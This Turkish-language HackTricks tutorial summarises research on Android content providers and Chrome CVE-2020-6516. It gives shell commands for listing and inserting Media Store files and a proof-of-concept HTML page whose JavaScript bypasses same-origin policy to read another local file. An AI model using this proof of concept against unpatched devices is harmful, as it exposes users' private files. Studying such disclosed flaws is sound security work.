tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Bu, https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/ gönderisinin bir özetidir.

Medya Mağazasında Dosyaları Listeleme

Medya Mağazası tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir:

bash
$ content query --uri content://media/external/file

Daha insan dostu bir çıktı için, her indekslenmiş dosyanın yalnızca tanımlayıcısını ve yolunu gösterin:

bash
$ content query --uri content://media/external/file --projection _id,_data

İçerik sağlayıcıları kendi özel ad alanlarında izole edilmiştir. Bir sağlayıcıya erişim, belirli bir content:// URI'sini gerektirir. Bir sağlayıcıya erişim için yollar hakkında bilgi, uygulama manifestolarından veya Android çerçevesinin kaynak kodundan elde edilebilir.

Chrome'un İçerik Sağlayıcılara Erişimi

Android'deki Chrome, content:// şeması aracılığıyla içerik sağlayıcılara erişebilir ve bu sayede üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraflar veya belgeler gibi kaynaklara erişim sağlar. Bunu göstermek için, bir dosya Medya Deposu'na eklenebilir ve ardından Chrome aracılığıyla erişilebilir:

Medya Deposu'na özel bir giriş ekleyin:

bash
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Yeni eklenen dosyanın tanımlayıcısını keşfedin:

bash
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Dosya, dosyanın tanımlayıcısıyla oluşturulmuş bir URL kullanılarak Chrome'da görüntülenebilir.

Örneğin, belirli bir uygulamayla ilgili dosyaları listelemek için:

bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Bypass

Same Origin Policy (SOP), farklı kökenlerden gelen kaynaklarla etkileşimde bulunmayı kısıtlayan bir güvenlik protokolüdür. Bu, yalnızca bir Cross-Origin-Resource-Sharing (CORS) politikası tarafından açıkça izin verilirse mümkündür. Bu politika, bilgi sızıntılarını ve cross-site request forgery'yi önlemeyi amaçlar. Chrome, content://'ı yerel bir şema olarak kabul eder ve bu da daha sıkı SOP kurallarını ifade eder; burada her yerel şema URL'si ayrı bir köken olarak değerlendirilir.

Ancak, CVE-2020-6516, content:// URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının aşılmasına izin veren bir Chrome zafiyetiydi. Sonuç olarak, content:// URL'sinden gelen JavaScript kodu, content:// URL'leri aracılığıyla yüklenen diğer kaynaklara erişebiliyordu; bu, özellikle Android 10'dan önceki sürümleri çalıştıran Android cihazlarda önemli bir güvenlik endişesiydi, çünkü burada kapsamlı depolama uygulanmamıştı.

Aşağıdaki kanıt konsepti, /sdcard altında yüklendikten sonra Medya Mağazası'na eklenen bir HTML belgesinin, JavaScript'inde XMLHttpRequest kullanarak Medya Mağazası'ndaki başka bir dosyanın içeriğine erişip görüntülemesini gösterir ve SOP kurallarını aşar.

Proof-of-Concept HTML:

xml
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin